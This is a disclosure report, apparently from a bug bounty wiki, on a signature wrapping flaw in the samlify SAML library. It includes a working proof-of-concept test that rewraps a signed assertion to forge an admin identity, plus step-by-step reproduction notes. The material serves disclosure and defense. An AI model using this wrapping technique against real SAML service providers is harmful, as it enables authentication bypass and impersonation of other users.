Samlify is vulnerable to signature wrapping
The samlify library does not properly validate the position of the XML signature in a SAML response, allowing an attacker to wrap the original signed assertion inside a modified one with a different username, making it appear a different user was authenticated.
- Triaged in 24 days
- Fixed in 4 months
- Disclosed after 5 months
I would like to report a signature wrapping weakness in samlify It allows an attacker to modify a SAML token received from the IdP before validating it with the service provider
Module
module name: samlify
version: 2.3.7
npm page: https://www.npmjs.com/package/samlify
Module Description
Highly configuarable Node.js SAML 2.0 library for Single Sign On
Module Stats
Replace stats below with numbers from npm’s module page:
1084 downloads in the last week
Vulnerability
Vulnerability Description
It's possible to wrap the signature of a SAML response, and insert a new username in the original token, thus make it appear as though a different user was authenticated.
Steps To Reproduce:
Clone the github repo, put this in test/flow.ts and run npm run test:
test('should reject signature wrapped response', async t => {
// sender (caution: only use metadata and public key when declare pair-up in oppoent entity)
const user = { email: '[email protected]' };
const { id, context: SAMLResponse } = await idpNoEncrypt.createLoginResponse(sp, sampleRequestInfo, 'post', user, createTemplateCallback(idpNoEncrypt, sp, user));
// receiver (caution: only use metadata and public key when declare pair-up in oppoent entity)
//Decode
var buffer = new Buffer(SAMLResponse, "base64");
var xml = buffer.toString();
//Create version of response without signature
var stripped = xml
.replace(/<ds:Signature[\s\S]*ds:Signature>/, "");
//Create version of response with altered IDs and new username
var outer = xml
.replace(/assertion" ID="_[0-9a-f]{3}/g, 'assertion" ID="_000')
.replace("[email protected]", "[email protected]");
//Put stripped version under SubjectConfirmationData of modified version
var xmlWrapped = outer.replace(/<saml:SubjectConfirmationData[^>]*\/>/, "<saml:SubjectConfirmationData>" + stripped.replace('<?xml version="1.0" encoding="UTF-8"?>', "") + "</saml:SubjectConfirmationData>");
const wrappedResponse = new Buffer(xmlWrapped).toString("base64");
const { samlContent, extract } = await sp.parseLoginResponse(idpNoEncrypt, 'post', { body: { SAMLResponse: wrappedResponse } });
//should probalby be like this -> const error = await t.throws(sp.parseLoginResponse(idpNoEncrypt, 'post', { body: { SAMLResponse: wrappedResponse } }));
//This tampering goes undetected....and only fails because there are now two names
t.is(extract.nameid, '[email protected]');
});
Supporting Material/References:
State all technical information about the stack where the vulnerability was found
- Ubuntu 16.04
- v7.4.0
- 6.0.0
Wrap up
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
I will try to contact the maintainer. I did not want to open an issue as that would make it obvious what the problem was.
Impact
Authentication bypass
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the library validates the XML signature without ensuring it covers the assertion element that is actually used to extract the user identity, allowing a signature wrapping attack.
Impact
An attacker could bypass authentication and impersonate another user, potentially including an administrator, though the test only shows the tampering going undetected and failing later due to duplicate names.
What the attacker needed
Attacker can intercept or craft a SAML response; victim or service provider processes the response
The fix
The library should validate that the signature covers the exact assertion element used to extract the identity, rejecting wrapped or duplicated assertions.
How it was found
- Generate a valid SAML login response from the identity provider for a normal user.
- Decode the base64 response and remove the signature element to create a stripped copy.
- Modify the outer response by changing assertion IDs and replacing the username with an admin username.
- Insert the stripped copy inside the SubjectConfirmationData element of the modified response.
- Base64-encode the wrapped response and submit it to the service provider's parseLoginResponse.
- Observe that the tampering is not detected and the extracted nameid is the original user.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SAML is a way for websites to log you in using a separate identity provider. The identity provider signs a message saying who you are, and the website checks that signature. Here, the library checked the signature but did not check that it belonged to the same part of the message that contained the username, so an attacker could put a different username in an unsigned part and still pass the check.
What is Crypto?
Encryption, signatures, randomness or certificate checks that do not protect what they claim to.